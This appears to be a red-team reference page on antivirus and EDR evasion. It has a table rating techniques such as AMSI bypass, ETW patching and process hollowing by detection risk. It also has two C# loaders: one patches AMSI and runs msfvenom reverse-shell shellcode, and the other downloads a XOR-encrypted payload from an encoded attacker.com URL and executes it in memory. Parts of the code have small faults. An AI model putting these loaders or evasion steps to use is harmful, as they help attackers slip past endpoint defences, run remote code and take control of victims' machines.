Evasion techniques

AV/EDR Evasion Techniques Comparison Table

Technique

How It Works

Detection Risk

When to Use

Why It’s Effective

Direct Syscalls

Bypasses user-mode hooks by calling kernel APIs via Nt*/Zw* from ntdll.dll.

🔴 Low

When EDRs hook Win32 APIs (e.g., VirtualAlloc, CreateThread).

EDR can’t monitor syscalls without kernel drivers.

API Unhooking

Replaces hooked DLLs in memory with clean copies from disk.

🟠 Medium

Targeting EDRs like CrowdStrike/SentinelOne that heavily hook user-mode APIs.

Restores original API behavior, evading inline hooks.

AMSI Bypass

Patches amsi.dll in memory (e.g., disabling AmsiScanBuffer).

🔴 Low

When executing PowerShell/C# in memory.

Kills Microsoft’s script/assembly scanning.

ETW Patching

Disables Event Tracing for Windows (e.g., patching EtwEventWrite).

🔴 Low

Hiding .NET/PowerShell activity from EDR telemetry.

Stops EDRs from collecting process execution logs.

Process Hollowing

Replaces legitimate process memory (e.g., explorer.exe) with malicious code.

🟠 Medium

Post-exploitation to blend into trusted processes.

Appears as a signed process, bypassing process-based detections.

Process Injection

Injects shellcode into a living process (e.g., via CreateRemoteThread).

🟡 High

Quick execution in a semi-trusted process.

Leverages process reputation but leaves memory artifacts.

Reflective DLL Loading

Loads DLLs directly from memory (no disk writes).

🔴 Low

Avoiding LoadLibrary hooks and file-based scans.

No disk I/O = fewer IoC triggers.

Environmental Keying

Executes only if specific conditions are met (e.g., hostname, domain join).

🔴 Low

Targeted attacks where the victim environment is known.

Reduces accidental sandbox execution.

Sleep Obfuscation

Hides sleep patterns (e.g., via TimerQueue or indirect syscalls).

🟠 Medium

Evading sandbox timeout checks or EDR timing analysis.

Makes sleep-based detections (e.g., "10m sleep") unreliable.

Polymorphic Code

Changes code structure/strings per compilation.

🔴 Low

Avoiding static signature detection (YARA, hash-based AV).

No fixed patterns to scan for.

Module Stomping

Overwrites benign DLLs (e.g., winhttp.dll) with malicious code.

🟠 Medium

When EDRs monitor CreateThread in unexpected memory regions.

Executes from "trusted" memory regions.

Callback Execution

Runs shellcode via OS callbacks (e.g., EnumChildWindows).

🔴 Low

Avoiding thread creation alerts.

No new threads = stealthier than CreateThread.

Hardware Breakpoints

Uses CPU debug registers to execute shellcode.

🟢 Very Low

Extreme scenarios where memory scanning is expected.

Rarely monitored by EDRs.


Loaders

Shellcode (Syscalls + AMSI Bypass)

using System;
using System.Runtime.InteropServices;

namespace GhostLoader
{
    class Program
    {
        // Delegates for syscalls (Nt* versions)
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr NtAllocMem(IntPtr handle, ref IntPtr addr, IntPtr zero, ref IntPtr size, uint type, uint prot);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr NtCreateThreadEx(out IntPtr hThread, uint access, IntPtr attr, IntPtr process, IntPtr start, IntPtr param, uint flags, uint stackZero, uint stackSize, IntPtr attrList, IntPtr unknown);

        static void Main()
        {
            // AMSI Bypass (Patch "amsi.dll")
            PatchAmsi();

            // Shellcode (ej: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 -f csharp)
            byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, ..., 0xd5 };

            // Allocate RWX memory (via NtAllocateVirtualMemory)
            IntPtr memAddr = IntPtr.Zero;
            IntPtr size = (IntPtr)shellcode.Length;
            NtAllocMem alloc = (NtAllocMem)GetSyscall("NtAllocateVirtualMemory");
            alloc(IntPtr.Zero, ref memAddr, IntPtr.Zero, ref size, 0x3000, 0x40);

            // Copy shellcode
            Marshal.Copy(shellcode, 0, memAddr, shellcode.Length);

            // Execute (via NtCreateThreadEx)
            IntPtr hThread;
            NtCreateThreadEx createThread = (NtCreateThreadEx)GetSyscall("NtCreateThreadEx");
            createThread(out hThread, 0x1FFFFF, IntPtr.Zero, IntPtr.Zero, memAddr, IntPtr.Zero, 0, 0, 0, IntPtr.Zero, IntPtr.Zero);

            // Wait
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        static void PatchAmsi()
        {
            IntPtr amsi = LoadLibrary("amsi.dll");
            IntPtr scanPtr = GetProcAddress(amsi, "AmsiScanBuffer");
            Marshal.WriteByte(scanPtr, 0xC3); // RET
        }

        static Delegate GetSyscall(string name)
        {
            IntPtr ntdll = LoadLibrary("ntdll.dll");
            IntPtr addr = GetProcAddress(ntdll, name);
            return Marshal.GetDelegateForFunctionPointer(addr, typeof(NtAllocMem)); // Use appropriate delegate type
        }

        // P/Invokes
        [DllImport("kernel32")]
        static extern IntPtr LoadLibrary(string name);
        
        [DllImport("kernel32")]
        static extern IntPtr GetProcAddress(IntPtr hModule, string name);
        
        [DllImport("kernel32")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint ms);
    }
}

Loads .rev.bin (HTTPS + XOR Decrypt)

using System;
using System.Net;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace ShadowDrop
{
    class Program
    {
        static void Main()
        {
            // URL cifrada (ej: "https://attacker.com/rev.bin" -> Base64)
            string encUrl = "aHR0cHM6Ly9hdHRhY2tlci5jb20vcmV2LmJpbg==";
            string url = Encoding.UTF8.GetString(Convert.FromBase64String(encUrl));

            // Descarga y descifrado (XOR con clave dinámica)
            byte[] key = GetKeyFromEnv();
            byte[] encrypted = DownloadPayload(url);
            byte[] shellcode = XORDecrypt(encrypted, key);

            // Ejecución con CreateThread (no syscalls para variedad)
            IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, mem, shellcode.Length);
            IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out _);
            WaitForSingleObject(thread, 0xFFFFFFFF);
        }

        static byte[] DownloadPayload(string url)
        {
            using (WebClient client = new WebClient())
            {
                client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
                return client.DownloadData(url);
            }
        }

        static byte[] XORDecrypt(byte[] data, byte[] key)
        {
            byte[] decrypted = new byte[data.Length];
            for (int i = 0; i < data.Length; i++)
                decrypted[i] = (byte)(data[i] ^ key[i % key.Length]);
            return decrypted;
        }

        static byte[] GetKeyFromEnv()
        {
            string envKey = Environment.UserName + Environment.MachineName;
            return SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(envKey));
        }

        // P/Invokes
        [DllImport("kernel32")]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        
        [DllImport("kernel32")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
        
        [DllImport("kernel32")]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    }
}

Last updated